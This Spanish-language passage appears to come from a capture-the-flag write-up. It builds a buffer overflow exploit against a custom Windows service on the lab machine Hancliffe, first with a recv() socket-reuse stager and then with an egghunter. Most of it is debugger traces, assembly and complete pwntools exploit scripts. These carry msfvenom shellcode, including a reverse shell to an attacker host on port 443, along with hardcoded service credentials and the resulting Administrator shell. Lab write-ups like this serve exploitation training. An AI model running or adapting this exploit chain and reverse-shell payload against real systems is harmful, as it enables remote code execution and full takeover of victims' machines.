eip=719023b3 esp=00f8ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
MyFirstApp+0x23b3:
719023b3 ffe0            jmp     eax {00f8fed6}

0:000> p
eax=00f8fed6 ebx=0000013c ecx=00d83b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=00f8fed6 esp=00f8ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00f8fed6 8b742448        mov     esi,dword ptr [esp+48h] ss:002b:00f8ff64=0000013c  

0:000> p
eax=00f8fed6 ebx=0000013c ecx=00d83b70 edx=000a7190 esi=0000013c edi=71901a3d
eip=00f8feda esp=00f8ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00f8feda 41              inc     ecx

0:000> r esi
esi=0000013c

Antes de seguir tenemos que solucionar un problema y es que si seguimos enviando instrucciones terminaremos por solaparnos con esp, para solucionarlo podemos restarle 0x64 al stack para que asi este arriba de eip y no entre en conflicto

recv += asm("sub esp, 0x64")

Ya almacenado el descriptor empezaremos a enviar los argumentos en orden inverso, el primero son las flags que lo dejaremos en 0, sin embargo para evitar null bytes ya que pueden dar problemas ejecutaremos xor ebx, ebx ya que al ejecutar el xor consigo mismo el resultado será 0, ahora podemos empujar el valor de ebx

recv += asm("xor ebx, ebx")
recv += asm("push ebx")

El siguiente argumento es la longitud a recibir, anteriormente cuando vimos la llamada estaba establecido en 0x400 sin embargo esto puede ocasionar null bytes, asi que como ebx vale 0 podemos mover 0x04 a bh que es el registro mas alto del subregistro bx, y como bl aun vale 0x00 el registro ebx almacena 0x400

recv += asm("mov bh, 0x4")
recv += asm("push ebx")

Para el siguiente argumento necesitaremos visualizar la memoria en el debugger, asi que enviamos el exploit y avanzamos hasta el final de las instrucciones

0:000> bp 0x719023b3
0:000> g
Breakpoint 0 hit
eax=00f9fed6 ebx=00000138 ecx=007d3b70 edx=000a7190 esi=71901a3d edi=71901a3d  
eip=719023b3 esp=00f9ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
MyFirstApp+0x23b3:
719023b3 ffe0            jmp     eax {00f9fed6}

0:000> u eax
00f9fed6 8b742448        mov     esi,dword ptr [esp+48h]
00f9feda 83ec64          sub     esp,64h
00f9fedd 31db            xor     ebx,ebx
00f9fedf 53              push    ebx
00f9fee0 b704            mov     bh,4
00f9fee2 53              push    ebx
00f9fee3 41              inc     ecx
00f9fee4 41              inc     ecx

0:000> g 0x00f9fee3
eax=00f9fed6 ebx=00000400 ecx=007d3b70 edx=000a7190 esi=00000138 edi=71901a3d  
eip=00f9fee3 esp=00f9feb0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
00f9fee3 41              inc     ecx

Nuestra idea será que el nuevo buffer se escriba en un punto intermedio de las A's para que sigan ejecutando las instrucciones hasta que en un momento llegue al shellcode, esp + 0x64 es un buen lugar, casi al final de todas las A's

0:000> db esp
00f9feb0  00 04 00 00 00 00 00 00-65 21 90 71 d6 fe f9 00  ........e!.q....  
00f9fec0  28 3b 7d 00 fe ff ff ff-14 ff f9 00 e5 5f 6e 76  (;}.........._nv  
00f9fed0  38 01 00 00 00 ff 8b 74-24 48 83 ec 64 31 db 53  8......t$H..d1.S  
00f9fee0  b7 04 53 41 41 41 41 41-41 41 41 41 41 41 41 41  ..SAAAAAAAAAAAAA  
00f9fef0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00f9ff00  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00f9ff10  41 41 41 41 41 41 41 41-b3 23 90 71 0a 00 7d 00  AAAAAAAA.#.q..}.  
00f9ff20  90 3b 7d 00 50 00 00 00-00 00 00 00 00 00 00 00  .;}.P...........  

0:000> db esp + 0x64
00f9ff14  41 41 41 41 b3 23 90 71-0a 00 7d 00 90 3b 7d 00  AAAA.#.q..}..;}.  
00f9ff24  50 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  P...............  
00f9ff34  00 4b 33 72 34 6a 40 40-6e 4d 34 6a 40 70 41 68  .K3r4j@@nM4j@pAh  
00f9ff44  21 54 61 6c 66 69 61 6e-73 79 61 68 12 00 00 00  !Talfiansyah....  
00f9ff54  90 3b 7d 00 28 3b 7d 00-01 00 00 00 1d 00 00 00  .;}.(;}.........  
00f9ff64  38 01 00 00 e0 36 7d 00-00 00 00 00 00 00 00 00  8....6}.........  
00f9ff74  84 ff f9 00 a9 7b 8a 77-38 01 00 00 90 7b 8a 77  .....{.w8....{.w  
00f9ff84  dc ff f9 00 0b c1 a1 77-38 01 00 00 70 f0 9c 18  .......w8...p...  

Para almacenar la dirección esp + 0x64 donde se escribira el buffer podemos usar lea y una vez guardado en el registro ebx empujamos el puntero al buffer al stack

recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")

Solo nos queda el ultimo valor que es el descriptor de socket, como ya lo habiamos almacenado en esi solo nos queda ejecutar push para empujarlo al stack

recv += asm("push esi")

Finalmente solo nos queda llamar al desreferenciado de la IAT de la función recv()

recv += asm("call [0x719082ac]")

Nuestro stager final se ve de esta forma, y ya que solo pesa 25 bytes entra sin ningun problema en los 66 bytes disponibles que tenemos de espacio con la limitación

recv  = b""
recv += asm("mov esi, [esp + 0x48]")  
recv += asm("sub esp, 0x64")
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
recv += asm("lea ebx, [esp + 0x64]")  
recv += asm("push ebx")
recv += asm("push esi")
recv += asm("call [0x719082ac]")

Despues de almacenar los 4 argumentos en el esp tenemos el orden que necesitamos para la llamada a recv() que recibirá el shellcode, lo escribirá en un punto intermedio de las A's y al retornar y seguir ejecutando llegará a este

0:000> bp 0x719023b3

0:000> g
Breakpoint 0 hit
eax=0105fed6 ebx=0000013c ecx=00783b70 edx=000a7190 esi=71901a3d edi=71901a3d  
eip=719023b3 esp=0105ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
MyFirstApp+0x23b3:
719023b3 ffe0            jmp     eax {0105fed6}

0:000> pc
eax=766e5f50 ebx=0105ff14 ecx=00783b70 edx=000a7190 esi=0000013c edi=71901a3d  
eip=0105feef esp=0105fea8 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
0105feef ffd0            call    eax {WS2_32!recv (766e5f50)}

0:000> dds esp L4
0105fea8  0000013c
0105feac  0105ff14
0105feb0  00000400
0105feb4  00000000

Para evitar tener que abrir un listener en una shell simplemente con msfvenom crearemos un shellcode que ejecute calc.exe para comprobar que funcione

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode =  b""
shellcode += b"\xbf\x1c\x81\x88\x34\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x31\x31\x7d\x13\x83\xed\xfc"
shellcode += b"\x03\x7d\x13\x63\x7d\xc8\xc3\xe1\x7e\x31\x13"
shellcode += b"\x86\xf7\xd4\x22\x86\x6c\x9c\x14\x36\xe6\xf0"
shellcode += b"\x98\xbd\xaa\xe0\x2b\xb3\x62\x06\x9c\x7e\x55"
shellcode += b"\x29\x1d\xd2\xa5\x28\x9d\x29\xfa\x8a\x9c\xe1"
shellcode += b"\x0f\xca\xd9\x1c\xfd\x9e\xb2\x6b\x50\x0f\xb7"
shellcode += b"\x26\x69\xa4\x8b\xa7\xe9\x59\x5b\xc9\xd8\xcf"
shellcode += b"\xd0\x90\xfa\xee\x35\xa9\xb2\xe8\x5a\x94\x0d"
shellcode += b"\x82\xa8\x62\x8c\x42\xe1\x8b\x23\xab\xce\x79"
shellcode += b"\x3d\xeb\xe8\x61\x48\x05\x0b\x1f\x4b\xd2\x76"
shellcode += b"\xfb\xde\xc1\xd0\x88\x79\x2e\xe1\x5d\x1f\xa5"
shellcode += b"\xed\x2a\x6b\xe1\xf1\xad\xb8\x99\x0d\x25\x3f"
shellcode += b"\x4e\x84\x7d\x64\x4a\xcd\x26\x05\xcb\xab\x89"
shellcode += b"\x3a\x0b\x14\x75\x9f\x47\xb8\x62\x92\x05\xd6"
shellcode += b"\x75\x20\x30\x94\x76\x3a\x3b\x88\x1e\x0b\xb0"
shellcode += b"\x47\x58\x94\x13\x2c\x96\xde\x3e\x04\x3f\x87"
shellcode += b"\xaa\x15\x22\x38\x01\x59\x5b\xbb\xa0\x21\x98"
shellcode += b"\xa3\xc0\x24\xe4\x63\x38\x54\x75\x06\x3e\xcb"
shellcode += b"\x76\x03\x5d\x8a\xe4\xcf\x8c\x29\x8d\x6a\xd1"

Cambiaremos las A's por 0x90 para que ejecute nop y no inc ecx, el exploit ejecutará nuestro stager que escribirá el buffer en un punto intermedio de los nops, luego retornará y seguirá la ejecución, al terminar los nops ejecutará el shellcode

#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm, sleep

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

recv  = b""
recv += asm("mov esi, [esp + 0x48]")
recv += asm("sub esp, 0x64")
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")
recv += asm("push esi")
recv += asm("call [0x719082ac]")

offset = 66
junk = asm("nop") * (offset - len(recv))

jmpeax = p32(0x719023b3)

payload = recv + junk + jmpeax

shellcode =  b""
shellcode += b"\xbf\x1c\x81\x88\x34\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x31\x31\x7d\x13\x83\xed\xfc"
shellcode += b"\x03\x7d\x13\x63\x7d\xc8\xc3\xe1\x7e\x31\x13"
shellcode += b"\x86\xf7\xd4\x22\x86\x6c\x9c\x14\x36\xe6\xf0"
shellcode += b"\x98\xbd\xaa\xe0\x2b\xb3\x62\x06\x9c\x7e\x55"
shellcode += b"\x29\x1d\xd2\xa5\x28\x9d\x29\xfa\x8a\x9c\xe1"
shellcode += b"\x0f\xca\xd9\x1c\xfd\x9e\xb2\x6b\x50\x0f\xb7"
shellcode += b"\x26\x69\xa4\x8b\xa7\xe9\x59\x5b\xc9\xd8\xcf"
shellcode += b"\xd0\x90\xfa\xee\x35\xa9\xb2\xe8\x5a\x94\x0d"
shellcode += b"\x82\xa8\x62\x8c\x42\xe1\x8b\x23\xab\xce\x79"
shellcode += b"\x3d\xeb\xe8\x61\x48\x05\x0b\x1f\x4b\xd2\x76"
shellcode += b"\xfb\xde\xc1\xd0\x88\x79\x2e\xe1\x5d\x1f\xa5"
shellcode += b"\xed\x2a\x6b\xe1\xf1\xad\xb8\x99\x0d\x25\x3f"
shellcode += b"\x4e\x84\x7d\x64\x4a\xcd\x26\x05\xcb\xab\x89"
shellcode += b"\x3a\x0b\x14\x75\x9f\x47\xb8\x62\x92\x05\xd6"
shellcode += b"\x75\x20\x30\x94\x76\x3a\x3b\x88\x1e\x0b\xb0"
shellcode += b"\x47\x58\x94\x13\x2c\x96\xde\x3e\x04\x3f\x87"
shellcode += b"\xaa\x15\x22\x38\x01\x59\x5b\xbb\xa0\x21\x98"
shellcode += b"\xa3\xc0\x24\xe4\x63\x38\x54\x75\x06\x3e\xcb"
shellcode += b"\x76\x03\x5d\x8a\xe4\xcf\x8c\x29\x8d\x6a\xd1"

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")  
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")  
shell.sendlineafter(b"Input Your Code: ", payload)

sleep(1)
shell.sendline(shellcode)

Al ejecutar el call llamara a la función recv() que tomará como argumentos los valores que dejamos en el stack para cuando enviemos el shellcode lo guarde en un punto de nuestros nops, al finalizar ejecuta el shellcode y abre la calculadora

Lo que nos queda es crear un shellcode con msfvenom que en caso de ejecutarse nos envie una reverse shell en windows a nuestro host por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xb8\x7d\xe5\x1d\x63\xdb\xcf\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x46\x12\x03\x46\x12"
shellcode += b"\x83\x93\x19\xff\x96\x97\x0a\x82\x59\x67\xcb"
shellcode += b"\xe3\xd0\x82\xfa\x23\x86\xc7\xad\x93\xcc\x85"
shellcode += b"\x41\x5f\x80\x3d\xd1\x2d\x0d\x32\x52\x9b\x6b"
shellcode += b"\x7d\x63\xb0\x48\x1c\xe7\xcb\x9c\xfe\xd6\x03"
shellcode += b"\xd1\xff\x1f\x79\x18\xad\xc8\xf5\x8f\x41\x7c"
shellcode += b"\x43\x0c\xea\xce\x45\x14\x0f\x86\x64\x35\x9e"
shellcode += b"\x9c\x3e\x95\x21\x70\x4b\x9c\x39\x95\x76\x56"
shellcode += b"\xb2\x6d\x0c\x69\x12\xbc\xed\xc6\x5b\x70\x1c"
shellcode += b"\x16\x9c\xb7\xff\x6d\xd4\xcb\x82\x75\x23\xb1"
shellcode += b"\x58\xf3\xb7\x11\x2a\xa3\x13\xa3\xff\x32\xd0"
shellcode += b"\xaf\xb4\x31\xbe\xb3\x4b\x95\xb5\xc8\xc0\x18"
shellcode += b"\x19\x59\x92\x3e\xbd\x01\x40\x5e\xe4\xef\x27"
shellcode += b"\x5f\xf6\x4f\x97\xc5\x7d\x7d\xcc\x77\xdc\xea"
shellcode += b"\x21\xba\xde\xea\x2d\xcd\xad\xd8\xf2\x65\x39"
shellcode += b"\x51\x7a\xa0\xbe\x96\x51\x14\x50\x69\x5a\x65"
shellcode += b"\x79\xae\x0e\x35\x11\x07\x2f\xde\xe1\xa8\xfa"
shellcode += b"\x71\xb1\x06\x55\x32\x61\xe7\x05\xda\x6b\xe8"
shellcode += b"\x7a\xfa\x94\x22\x13\x91\x6f\xa5\x16\x6c\x61"
shellcode += b"\x39\x4f\x72\x7d\x40\x34\xfb\x9b\x28\x5a\xaa"
shellcode += b"\x34\xc5\xc3\xf7\xce\x74\x0b\x22\xab\xb7\x87"
shellcode += b"\xc1\x4c\x79\x60\xaf\x5e\xee\x80\xfa\x3c\xb9"
shellcode += b"\x9f\xd0\x28\x25\x0d\xbf\xa8\x20\x2e\x68\xff"
shellcode += b"\x65\x80\x61\x95\x9b\xbb\xdb\x8b\x61\x5d\x23"
shellcode += b"\x0f\xbe\x9e\xaa\x8e\x33\x9a\x88\x80\x8d\x23"
shellcode += b"\x95\xf4\x41\x72\x43\xa2\x27\x2c\x25\x1c\xfe"
shellcode += b"\x83\xef\xc8\x87\xef\x2f\x8e\x87\x25\xc6\x6e"
shellcode += b"\x39\x90\x9f\x91\xf6\x74\x28\xea\xea\xe4\xd7"
shellcode += b"\x21\xaf\x05\x3a\xe3\xda\xad\xe3\x66\x67\xb0"
shellcode += b"\x13\x5d\xa4\xcd\x97\x57\x55\x2a\x87\x12\x50"
shellcode += b"\x76\x0f\xcf\x28\xe7\xfa\xef\x9f\x08\x2f"

Nuestro exploit final constara de 2 etapas, la primera desborda el buffer y abre un socket con recv(), pasado un segundo enviamos el shellcode y se interpretara

#!/usr/bin/python3
from pwn import remote, p32, asm, sleep

recv  = b""
recv += asm("mov esi, [esp + 0x48]")
recv += asm("sub esp, 0x64")
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")
recv += asm("push esi")
recv += asm("call [0x719082ac]")

offset = 66
junk = asm("nop") * (offset - len(recv))

jmpeax = p32(0x719023b3)

shellcode =  b""
shellcode += b"\xb8\x7d\xe5\x1d\x63\xdb\xcf\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x46\x12\x03\x46\x12"
shellcode += b"\x83\x93\x19\xff\x96\x97\x0a\x82\x59\x67\xcb"
shellcode += b"\xe3\xd0\x82\xfa\x23\x86\xc7\xad\x93\xcc\x85"
shellcode += b"\x41\x5f\x80\x3d\xd1\x2d\x0d\x32\x52\x9b\x6b"
shellcode += b"\x7d\x63\xb0\x48\x1c\xe7\xcb\x9c\xfe\xd6\x03"
shellcode += b"\xd1\xff\x1f\x79\x18\xad\xc8\xf5\x8f\x41\x7c"
shellcode += b"\x43\x0c\xea\xce\x45\x14\x0f\x86\x64\x35\x9e"
shellcode += b"\x9c\x3e\x95\x21\x70\x4b\x9c\x39\x95\x76\x56"
shellcode += b"\xb2\x6d\x0c\x69\x12\xbc\xed\xc6\x5b\x70\x1c"
shellcode += b"\x16\x9c\xb7\xff\x6d\xd4\xcb\x82\x75\x23\xb1"
shellcode += b"\x58\xf3\xb7\x11\x2a\xa3\x13\xa3\xff\x32\xd0"
shellcode += b"\xaf\xb4\x31\xbe\xb3\x4b\x95\xb5\xc8\xc0\x18"
shellcode += b"\x19\x59\x92\x3e\xbd\x01\x40\x5e\xe4\xef\x27"
shellcode += b"\x5f\xf6\x4f\x97\xc5\x7d\x7d\xcc\x77\xdc\xea"
shellcode += b"\x21\xba\xde\xea\x2d\xcd\xad\xd8\xf2\x65\x39"
shellcode += b"\x51\x7a\xa0\xbe\x96\x51\x14\x50\x69\x5a\x65"
shellcode += b"\x79\xae\x0e\x35\x11\x07\x2f\xde\xe1\xa8\xfa"
shellcode += b"\x71\xb1\x06\x55\x32\x61\xe7\x05\xda\x6b\xe8"
shellcode += b"\x7a\xfa\x94\x22\x13\x91\x6f\xa5\x16\x6c\x61"
shellcode += b"\x39\x4f\x72\x7d\x40\x34\xfb\x9b\x28\x5a\xaa"
shellcode += b"\x34\xc5\xc3\xf7\xce\x74\x0b\x22\xab\xb7\x87"
shellcode += b"\xc1\x4c\x79\x60\xaf\x5e\xee\x80\xfa\x3c\xb9"
shellcode += b"\x9f\xd0\x28\x25\x0d\xbf\xa8\x20\x2e\x68\xff"
shellcode += b"\x65\x80\x61\x95\x9b\xbb\xdb\x8b\x61\x5d\x23"
shellcode += b"\x0f\xbe\x9e\xaa\x8e\x33\x9a\x88\x80\x8d\x23"
shellcode += b"\x95\xf4\x41\x72\x43\xa2\x27\x2c\x25\x1c\xfe"
shellcode += b"\x83\xef\xc8\x87\xef\x2f\x8e\x87\x25\xc6\x6e"
shellcode += b"\x39\x90\x9f\x91\xf6\x74\x28\xea\xea\xe4\xd7"
shellcode += b"\x21\xaf\x05\x3a\xe3\xda\xad\xe3\x66\x67\xb0"
shellcode += b"\x13\x5d\xa4\xcd\x97\x57\x55\x2a\x87\x12\x50"
shellcode += b"\x76\x0f\xcf\x28\xe7\xfa\xef\x9f\x08\x2f"

payload = recv + junk + jmpeax

shell = remote("10.10.11.115", 9999)

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)

sleep(1)
shell.sendline(shellcode)

Enviamos el exploit a la maquina que corre el servicio en el puerto 9999 y recibimos una shell como Administrator donde podemos leer la ultima flag de root

❯ python3 exploit.py
[+] Opening connection to 10.10.11.115 on port 9999: Done  
[*] Closed connection to 10.10.11.115 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
hancliffe\administrator

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
7cc**************************564

C:\Windows\system32>


Buffer Overflow - egghunter


Volvemos al inicio del problema, la limitación de espacio, la pregunta que realmente debemos hacernos es si se guarda en algun otro lugar que no sea el stack, para ello enviaremos w00tw00t como marca para poder buscar el payload en la memoria

#!/usr/bin/python3
from pwn import remote, log, sys

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

payload  = b""
payload += b"A" * 66
payload += b"B" * 4
payload += b"w00t" * 2
payload += b"C" * 100

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")  
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")  
shell.sendlineafter(b"Input Your Code: ", payload)

Una vez que el programa corrompe sabemos que solo se escriben 10 bytes en el stack pero si buscamos la cadena w00tw00t en la memoria podemos encontrar una dirección que parece contener todas las C's, sin embargo también hay otras 2 direcciones que solo contienen 2 de las C's indicando el espacio de 10 bytes

0:000> g
(1c50.21b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00fcfed6 ebx=0000013c ecx=006e3b84 edx=00000000 esi=71901a3d edi=71901a3d  
eip=42424242 esp=00fcff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
42424242 ??              ???

0:000> db esp
00fcff1c  77 30 30 74 77 30 30 74-43 43 ab ab ab ab ab ab  w00tw00tCC......
00fcff2c  ab ab 00 00 00 00 00 00-00 4b 33 72 34 6a 40 40  .........K3r4j@@
00fcff3c  6e 4d 34 6a 40 70 41 68-21 54 61 6c 66 69 61 6e  nM4j@pAh!Talfian
00fcff4c  73 79 61 68 12 00 00 00-90 3b 6e 00 28 3b 6e 00  syah.....;n.(;n.
00fcff5c  01 00 00 00 1d 00 00 00-3c 01 00 00 e0 36 6e 00  ........<....6n.
00fcff6c  00 00 00 00 00 00 00 00-84 ff fc 00 a9 7b 8a 77  .............{.w
00fcff7c  3c 01 00 00 90 7b 8a 77-dc ff fc 00 0b c1 a1 77  <....{.w.......w
00fcff8c  3c 01 00 00 f6 d5 2d ab-00 00 00 00 00 00 00 00  <.....-.........

0:000> s -a 0 L?80000000 w00tw00t
006e3726  77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43  w00tw00tCCCCCCCC
006e3b6e  77 30 30 74 77 30 30 74-43 43 ab ab ab ab ab ab  w00tw00tCC......
00fcff1c  77 30 30 74 77 30 30 74-43 43 ab ab ab ab ab ab  w00tw00tCC......

Para evitar falsos positivos enviaremos 4 bytes extra antes, de esta forma en el stack se almacenan 4 C's y solo tiene 6 bytes de espacio restante que solo alcanzan para la cadena w00tw0 por lo que no coincidirá con la busqueda de la cadena completa

payload  = b""
payload += b"A" * 66
payload += b"B" * 4
payload += b"C" * 4
payload += b"w00t" * 2  
payload += b"D" * 100

Ahora al ejecutar el exploit el programa corrompe y buscando la cadena w00tw00t solo encontramos una coincidencia a diferencia de las 3 que habia antes

0:000> g
(2a34.2fa4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0117fed6 ebx=00000144 ecx=00d73b84 edx=00000000 esi=71901a3d edi=71901a3d  
eip=42424242 esp=0117ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
42424242 ??              ???

0:000> db esp
0117ff1c  43 43 43 43 77 30 30 74-77 30 ab ab ab ab ab ab  CCCCw00tw0......
0117ff2c  ab ab 00 00 00 00 00 00-00 4b 33 72 34 6a 40 40  .........K3r4j@@
0117ff3c  6e 4d 34 6a 40 70 41 68-21 54 61 6c 66 69 61 6e  nM4j@pAh!Talfian
0117ff4c  73 79 61 68 12 00 00 00-90 3b d7 00 28 3b d7 00  syah.....;..(;..
0117ff5c  01 00 00 00 1d 00 00 00-44 01 00 00 e0 36 d7 00  ........D....6..
0117ff6c  00 00 00 00 00 00 00 00-84 ff 17 01 a9 7b 8a 77  .............{.w
0117ff7c  44 01 00 00 90 7b 8a 77-dc ff 17 01 0b c1 a1 77  D....{.w.......w
0117ff8c  44 01 00 00 03 f3 c2 29-00 00 00 00 00 00 00 00  D......)........

0:000> s -a 0 L?80000000 w00tw00t
00d7372a  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD

Esta dirección contiene todos los datos que enviamos, las 100 D's se almacenan en la memoria, especificamente parece que en una región del segmento heap

0:000> db 0x00d7372a
00d7372a  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
00d7373a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00d7374a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00d7375a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00d7376a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00d7377a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00d7378a  44 44 44 44 44 44 44 44-44 44 44 44 0a 00 00 00  DDDDDDDDDDDD....
00d7379a  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0:000> !address 0x00d7372a

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Heap
Base Address:           00d70000
End Address:            00d75000
Region Size:            00005000 (  20.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        00d70000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              heap owning the address: !heap -s -h 0xd70000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0xd7372a  

Content source: 1 (target), length: 18d6

Nuevamente para evitar problemas o solaparnos con el stack en el poco espacio que nos queda haremos que este un poco mas arriba restandole 0x64 bytes

subesp = asm("sub esp, 0x64")

Ahora con mona creamos el egghunter, algo a tener en cuenta es que aunque el binario es x86 la maquina victima es x64 asi que tenemos que incluir un -wow64

0:000> !py mona egghunter -wow64
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py egghunter -wow64
[+] Egg set to w00t
[+] Generating egghunter for wow64, Windows 10
[+] Preparing output file 'egghunter.txt'
    - (Re)setting logfile C:\mona\egghunter.txt
[+] Egghunter  (51 bytes): 
"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"  
"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"  
"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"  

El egghunter lo que hara sera buscar en toda la memoria la cadena w00tw00t y ejecutar todo lo que esta despues que en este caso sera nuestro shellcode, el funcionamiento de este egghunter ya fue analizado en otro post sobre explotación

egghunter  = b""
egghunter += b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"  
egghunter += b"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"  
egghunter += b"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"  

Para el payload final enviaremos el egghunter, la basura y saltaremos a eax donde esta el egghunter, dejamos 4 bytes de espacio y despues enviamos el egg seguido del shellcode para que este se guarde en algun lugar de toda la memoria

payload  = b""
payload += subesp + egghunter + junk + jmpeax
payload += b"A" * 4
payload += egg + shellcode

Para verificar que funciona usaremos el shellcode para una calculadora antes creado y ejecutamos el exploit, como resultado abrimos una calculadora en el equipo

#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

subesp = asm("sub esp, 0x64")

egghunter  = b""
egghunter += b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"  
egghunter += b"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"  
egghunter += b"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"  

offset = 66
junk = b"A" * (offset - len(egghunter + subesp))

jmpeax = p32(0x719023b3)

